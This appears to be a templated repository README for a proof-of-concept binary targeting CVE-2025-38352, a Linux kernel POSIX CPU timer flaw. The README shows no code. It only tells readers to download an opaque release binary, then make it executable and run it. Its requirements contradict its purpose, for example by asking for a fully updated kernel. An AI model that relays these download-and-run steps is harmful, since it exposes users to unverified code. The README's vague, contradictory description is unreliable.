This application is a proof of concept for CVE-2025-38352. It demonstrates a vulnerability in the Linux kernel's POSIX CPU timers implementation. The September 2025 Android Bulletin notes that this vulnerability has been used in targeted exploitation in limited environments.
To run this application smoothly, ensure your system meets the following requirements:
- Operating System: Linux (any recent distribution)
- Kernel Version: Latest updates installed
- Additional Tools: Basic knowledge of terminal commands
Follow these steps to get set up:
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Download the Software
- Visit this page to download the application.
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Locate the Downloaded File
- After the download completes, find the file in your “Downloads” folder or your selected download location.
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Prepare to Run the Application
- Open a terminal on your Linux system. You can usually find this in the applications menu or by right-clicking on the desktop.
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Change Directory
- Use the
cdcommand to navigate to the folder where you downloaded the file. For example:cd Downloads
- Use the
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Run the Application
- Execute the following command in the terminal:
chmod +x poc-CVE-2025-38352 ./poc-CVE-2025-38352
- Execute the following command in the terminal:
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Observe the Output
- The application will display its results in the terminal. Note any important messages or alerts.
This proof of concept includes:
- Illustration of the CVE-2025-38352 vulnerability.
- Clear console output for easier understanding.
For further context, CVE-2025-38352 highlights a vulnerability that affects the POSIX CPU timers in Linux. This can potentially allow an attacker to exploit timing functions and gain unauthorized access to system resources.
To learn more about this vulnerability, refer to the September 2025 Android Bulletin.
If you encounter any issues while downloading or running the application, consider the following tips:
- Ensure your Linux distribution is updated.
- Check that you have the necessary permissions to run the file.
- If any error messages appear, note them down for easier troubleshooting.
If you have questions or need help, please check the "Issues" section of the repository. You can also open a new issue if you can’t find a solution.
This repository is licensed under the MIT License. You can use the code under the terms of this license.
To start using the application, just visit the releases page and follow the outlined steps.